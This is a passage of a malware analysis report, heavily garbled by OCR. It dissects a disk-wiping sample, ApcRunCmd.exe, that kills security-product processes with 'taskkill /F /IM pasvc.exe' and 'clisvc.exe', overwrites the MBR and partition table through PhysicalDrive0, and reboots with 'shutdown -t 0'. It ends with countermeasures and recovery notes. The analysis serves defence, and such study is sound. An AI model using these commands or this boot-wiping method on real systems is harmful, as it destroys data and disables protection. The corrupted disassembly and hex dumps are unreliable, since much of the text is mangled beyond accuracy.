emph .. log

syntax check and to induce can see thatcan.

A 00000000236E  Q000004023BE
A 1000000023CF - 0000004023C7

A 00000000230E 00000040230 E Hghr

A 100000002384 000000402384 Frogramn Files

A 0000000029F2  D000004023F 2 Programl ata

A 000000002408 Q00000402408 AR

A 000000002410 - 000000402410 W APhysicalDived

A 000000002427 000000402427
A 000000002438 000000402433 S eshutdawnPivilege

A 00000000244C 000000402440 taskkill /F /M pasve.exe
A 000000002466 000000402458 1] taskkill /F /1M clisvec.exe

[Figure 16] Malicious code strings

| shutdown -t 0|

0
0
0
0
0
0
0
0
0
0

4.3. Analysis of malicious code, the main part

Malicious code ApcRunCmd.exe major part of present results confirm neutralize v3 log check,

security products MBR area destroyed.

BE4E1101 E7 FUSH EOT
pa4a1i02|| - 230 “0R EEY,EEH
pe4a1104(] - B3 PlSH EER
. 0L _fd ELSH 4
GE4EL107 [ - FF96 3485606 CALL DWORD PTR DS:ESI+oc4] kerne 52, OpenF i LeMappingh |
G545110F ||+ BFSES B4BEERE| JNZ BE4E1259
BE4a11EE|| - E7 PUSH EDI
aa4aliEa(] - &R 1 PUSH 18
pa4aiiEal| - B2 PUSH EEM
pa4aliEal| - &R B4 PUSH 4
pa4a11EE(| - B2 PUSH EEM
SRR P o PLSH -1
ﬁggga};gg - FF36 30030000 CALL DWORD PTR DS: [ES1+308] Createf | leMappingH |
aa4a11F2|| - 2085 F4FEFFFI LERA EAY, [LOCAL. 571
A1EEL . ER PLISH EQ:
Go4aiz00]| - FF96 SCosaeel CALL DWORD PTR Do: [ESI+S3C] BetllindowsDirectory b |
pa4aizac|| - ca PUSH ER™
codaizan| - 8085 FAFEFFFILEA EAR, [LOCAL.67]
[Al=120 . B[ PLISH ?xf
Ga4a1z14[[ -+ FF96 Aaoooan EFIELEDELJIDRD FTR OS: [ESI+3AR] stroat - windowsstenps Vi log |
aRaaiz1E | - B3 POP ECH
BE4a121c|| - 2085 FAFEFFFI LER EAX, [LOCAL. 71
GG o0 Cq =] I Lo S = w
AE4E1222 [+ FF96 CCOSGEE CALL DMDRD PTR DS: [ESI+300] ch lwapi.PathFileEs ist=n |
Lall iy 3 B Wil } ' [=1=1i 4} TEol ERA
BE4a1228 | - TE B0 JWZ SHORT B@4e1233
pa4a1220/) - B PUSH ESI
(S SN = N T = = g M o = == G = TEsEELL = cA S ZS M~ ik I
IrRIrkRei=N] onAS 103 1L C I:I'l's.-'r rccTLi4]
ee4a122?([ - 52 POP ECY
L= R FUSH ERY
pa4ai22a() - 2945 FC MOY DWORD PTR SS:CLOCAL.11,EAX
BE4a122C(| - FF96 4B@oeee CALL DNORD TR DS: [ESI+346]
pa4aizaz(| - o046 23 LEA ERY, [ESI+25]
ElEEERER I -] FUSH EQX
pa4aizas|| - 2945 Fa MOY DWORD PTR SS:CLOCAL.21,EAX
aa4aiz4al| . FF98 4Beseee CALL OWORDVRTR O5:[ESI+546]
pa4a1z4r(] - 55 PUSH ESI
panizeal| . adEp @s HOW DWORD FTE. 55: CARG. 11, EE:
el 5595 CCG2000) CHLL_DWORD PTR DSz [ESI+2EC] BetUers lontn |

[Figure 17] ApcRunCmd.exe
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4.4, Library Load

Must load a malicious code library that need. C}.

Aadi1 16E

8B40 F4
803481 84040
=15

c F4

LER ERX, [ERX+ECK+484]

PUSH_ERX
MO FQ

FF98 ABB3668

S g
837D Fo Ba
75 82
EB 7E
8365 DB 6@
EB a7
SB4S Do
48

o0

CMP DWORD PTR SS: [EBP 1a1,
JNE SHORT @@461120

JMP SHORT B8@4811RE

AND DWORD PTR SS:[EBP-381,
JMP SHORT 88401138

[:c

MOU ECX,DWORD PTR SS: [EBP-

L OWNRN_PTR_SS: [FRP—AC
CALL DWORD PTR DS'EERX+390]

Moy ERX,DMORD PTR SS:[EBP-38]
MOY DNORD PTR S5: [EBP-381, EAX

8C]
ACII "advapi3z2.dlLl™

kerne 132, LoadL ibrarvA |

1

.8

BB0E008

[38482839]—708810?3 (kerne

132. Loadleraryﬂ]

As Below, loaded library.

[Figure 18] Library calls

C:\Documents and Settings \PC\HF B 5 B4\320\3208_Samp le“ApcRunCmd_

Tupe File version Path

ApcRunCmd_DE4EE

Ly Pl . H < SLPR UL
USP1@ 1.8420.2600.551] C: \WINDOWS system32 \USP1@.dL L
IMM32 S.1.2688,5512 ({ C:\WINDOWS system32~IMM32, DLL
Msvert 7.8.2608.5512 (: C:“\WINDOWSNsystem32\msvert.dll
USER32 S.1.2680,5512 (4 C:\WINDOWS\system32 \USER3Z.dL1
RPCRT4 S.1.2688,.5512 ({C:\WINDOWS~system32~RPCRT4.dl 1
GDI32 S. .2698 5512 (: C:N\WINDOWSNsystem32\GDI32.dL 1
shlwapi 5. NWINDOWSNsystem32hsh lwapi.dll
Secur32 G WINDOWS system32\Secur32.dlL L
advapisz S 3 \systen32\advaptez.g!
ntdll 5.1.2608.5512 ({C:xW NDOMS\systemsz\ntdll.dll

4.5. 'v3.log’ file check

[Figure 19] Called Library

Part of "ApcRunCmd.exe", check the file "C:WWindowsWtempW~v3.log”

BB4BIEIE

8035 FA4FEFFF
=)

LER EHK [LOCAL.&V]
ELISH

] FF2& CCRz006
e = e
[EE4822c51=rYEEVB4F (shlwa

CALL DMDHD FTR DS: [ESI+2CC]

shlwapi.FathFileExistsA |

e e =
pi.PathFileEsistsH)
Address |Hex dump ASCII e
BB1ZFEGC| 4% S0 GC Gr| 40 4E 44 4F| 57 G2 GC 54|65 60 70 GO[LionINOoiesTeng 1 B
BE1ZFEFC|7E 7& 22 2E|eC &F &7 8|28 02 G2 00|02 EG 20 7C| 7 vz, log gE Sac! oois
BE1ZFESC| @G PG A8 G3) 94 43 14 G| AC B3 96 @850 FE 12 98 s S oels
[Figure 20] ‘v3.log’ file check
4.6. Process forced termination
By Taskk|II command 'pasvc.exe’, ‘clisvc.exe' Kill processes.
HE4E21E2 =13 FUSH ESI
HA4EZ1BS SBv424 B3 MOY ESI,.OWORD PTR S55:[ARG.11
HE4E21E7 E7 FUSH EDI
HRdA21 B8 EH HEA FUSH @
HE4E21BA SD8& B23@Se0El LEA EAX, [ESI+5E3]
HEdA21CE S0BE 94@3@@al LEA EDI, [ESI+394]
(T P N bk W= [={r] ELISH B
B&BE}C? FF17 CHLL DWORD FPTRE DS:[EDI] WinExeca taskkill -F <IN pasuwc.exe I
HE4E21CE 21C& CDEEGEEE ADD ESI ECD
HAEAGET] 1 | = | =] (=¥
B4821D2 EEI? EFL.I_.“I“R DSE_] WinExec= taskkill «F <IN Cli.S-UG.EHEI
BB4BEID5 EE FOF ESI
EEEEEnE L. CE TH

[Figure 21] Process forced terminaltion
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HE
2| At

£k

ClEa|

Pasvc.exe

AhnLab Policy Agent

Clisvc.exe

ViRobot ISMS

AhnLab, Inc.

Hauri

paSvc

Service for VISMS Agent

%PROGRAMFILES %WAhnLabWAPC2

WPolicy Agent

nt

%PROGRAMFILES %WHauri#SiteClie

[Table 14] Terminated process info

4.7. Load the Physical drive information.

For overwrite boot area, load the Physical Drive information.

LEA EAX [LOCAL.6G]
FUSH EAX

00401DCF

TALL DWORD PIR DA [ESI+370]

CMP EAX -1

JE SHORT ApcRunCu.00401DF9
FUSH ESI

CALL DWORD PTE D5:[ESI+290]

Address Hex dump AFCIT 'fm 1
SC 5C ZE SC 50 68 79 73 69 63 61 6C 44 72 69 76|\\.\PhysicalDriv
65 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00|ed......cvveunns
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .iiiiiinnnnnnn
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... iiiiiinnnnnns
[Figure 22] Load the physical drive
4.8. Save the strings for overwriting boot area.
Overwriting to a value in the boot area is temporarily stored in a buffer.
[ I DIISH_FL
(00402065 | CALL DWORD PTR D&:[E3T+3E4]
LEA EAX [LUCAL. S|
PUSH EAX o¢
CALL DWORD PTR D3:[ESI+3EG]
ADD» ESP 14
ADDr EDT E&X
DEC EBX

PUSH Eix

L INZ SHORT ApcFEuanCm. 0040204E
LEA E&¥ [LOCAL.131]

Lddress

Hex dunp

A5CTT

fadl DOSEFAED

a0
20
on

52
52
oo

49
49
oo

4K
4R
oo

43
43
ala]

a0
50
oo

45
45
oo

23
23
on

50
50
oo

52
58
oo

49
49
i}

43
43
oo

50
50
oo

45 53
45 53
oo oo

FETNCPESFEINCPES
PEINCFESPRINCFES

[a]1]
oo
oo

oo
nn

[]u]
aa
oo

oo
nn

[u]8]
oo
oo

oo
nn

uo
aa
ao

oo
nn

uo
oo
oo

alu]
an

[1]1]
aa
ao

oo
nn

uo
oo
oo

oo
nn

[a]1]
oo
oo

oo
nn

g
aa
oo

oo
nn

[u]u]
oo
oo

oo
nn

uo
aa
ao

oo
nn

[1]1]
aa
ao

oo
nn

uo
oo
oo

oo
an

oo oo
oo oo
oo oo

o0 oo
nn_nn

| <

[Figure 23] temporarily stored in

a buffer for overwriting
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4.9. Overwrite part of boot area.

Partition table (56 sectors) in a particular string (PRINCPES) Overwrite (512 bytes).

56 PUSH EST ~
FF?7 40 PUSH DWORD PTE D3: [EDI+40]
FF37 §0030000  CALL DWORD PTR D&: [EDI+380] kernel3z.SetFilePointer
3ECE CMP EAX,EST
.. 74 04 TE $HORT ApcRunCm.0040Z0CA
3300 ®OF, EAX,EAX
.. EE 1D TMP SHORT ApcFunCm.00402Z0E7
> 64 00 FUSH 0
D45 FC LEA EAY, [LOCAL.1]
50 PUSH EAX
6% 00020000 | PUSH 200
FF75 10 PUSH [ARG.3]
FF?77 40 PUSH DWORD PTE D3: [EDI+40]
M FF97 74030000 |CALL DWORD FTE D3: [EDI+374] Fernelaz.WriteFile |
1ECO SEE EAX,EAX
. FD8 NEG EAX
> &F POF EDI ApcRunCn. 00402439 2
< >

Fegist

D5: [0040250D ]=7C510EL7

(kernel3Z.WriceFile)

gggEEﬁi EEE g!!EE |9§EEE |A O0SEFASC

iy

iy

[Figure 24] Overwrite-1 of boot area

Added back into the sector by 200 Overwriting the partition table (56 sectors) from

preventing the restore.

BB45 D4 MOV E&X, [LOCAL.11] -
015D F8 ADD [LOCAL.Z2],EEX
0145 FC ADD [LOCAL.1],E&X
. G95D DC MOV [LOCAL.9],EBX
> &7 FPUSH EDT
ED45 DD LEA E&X,[LOCAL.12]
50 PUSH EAX
FF75 08 PUSH [ARG.1]
837D DD MOV [LOCAL.12],EDI
FF75 FD PUSH [LOCAL. 4]
ER7E _FC BIISH [an‘nT :]
m FFo& 74030000 ||| CALL DWORD PTR DS:[E3T+374] kernel3z.WriteFile I
FFaD OC DEC [LOCAL.9]
"~ 75 E4 LINZ SHORT ApcRunCu.00401D1D
BE45 DB MOV E&, [LOCAL.10]
0145 F8 ADD [LOCAL.Z],EAX
EE45 OO MOV E&, [LOCAL.13]
0145 FC ADD [LOCAL.1],EAX 3z
< >

Regis

0

[Figure 25] Overwrite-2 of boot area
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4.10. System shut down.

Destroy boot area and reboot the system

. 55
SBEC
83EC 10
56
8B75 08
57
33FF
57
8DEs SE0S0000
LA

PUSH EEP

MOV EEP,ESP

SUE ESP, 10

PUSH EST

MOV ESI, [ARG.1]

PUSH EDI

XOR EDI,EDT

PUSH EDT

LEA E&,DWORD PTR DS:[ESI+58E]
DIISH EA

|

ApcRunCm. 00402499
ApcRunCm. 00402499

FFos 94030000

CALL DWORD PTE D3:[ESI+394]

kernel3z. Wi

oo LOLY0000
FF9s 54030000
D45 0

50

B4 Z8

FF96 98030000
50

FF9s 28030000

£

POSH 27710

CALL DWORD PTE D&:[ESI+354]
LEA EAX,[ARG.1]

PUSH EidX

PUSH 28 s,
CALL DUORD PTR D&:[EST+398]
FUSH E (

CALL DWORD PTR D35:[ESI+328]

-

—

Address hex [1110]

D3: [0040252D]=7C56234D kaiUin&c] v‘
C-‘ 4:\
—

“}:ernelSZ.

.
et pocRunCn.
rnelid. CurrentProcess
FunCm. 00402427

advapi3Z. OpenProcessToken ¥

>

Fegisters (FPU)

BE

QOSEFDFD

s

3
0040zl

ASCIT

[Figure 26] rebooting

~
F J

Microsoft =

Windows

[Figure 27] system rebooting
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5. Countermeasures

5.1. Block the access

Security solution is added to the policy (Appendix-1 document)

5.2, Through a dedicated vaccine

v3_agent_24576.exe
(FG).exe

20130320_02

-htt://www.ahnlab.com/kr/site/download/vacc/downFile.do?file_name

-http://cdndown.hauri.co.kr/Kor/vaccine/PrivateVaccine
-http://www.boho.or.kr/kor/download/download_03 1.jsp

5.3. Recovery MBR

Please refer the Appendix document-2

Master Boot Record (MBR) is what?

Area is located infront of most of the hard disk, system operation area, when computer operate,

data is loaded MBR area and then OS operate

Volume Boot Record (VBR) is what?

Area is located in front of most of the NTFS structure, boot sector and additional boot code store

similar to FAT scheduled

ocoocooc e
0000005z | M
0000010 i
OOOOOISM'
00000208
00000260
00000312
00000364
00000416
000004683
00000520
00000572
00000624
000008676
00000728
00000780
0000083z

llllll

0gooaeaq i v [

00000936
00000983
00001040

arealtgooiosz
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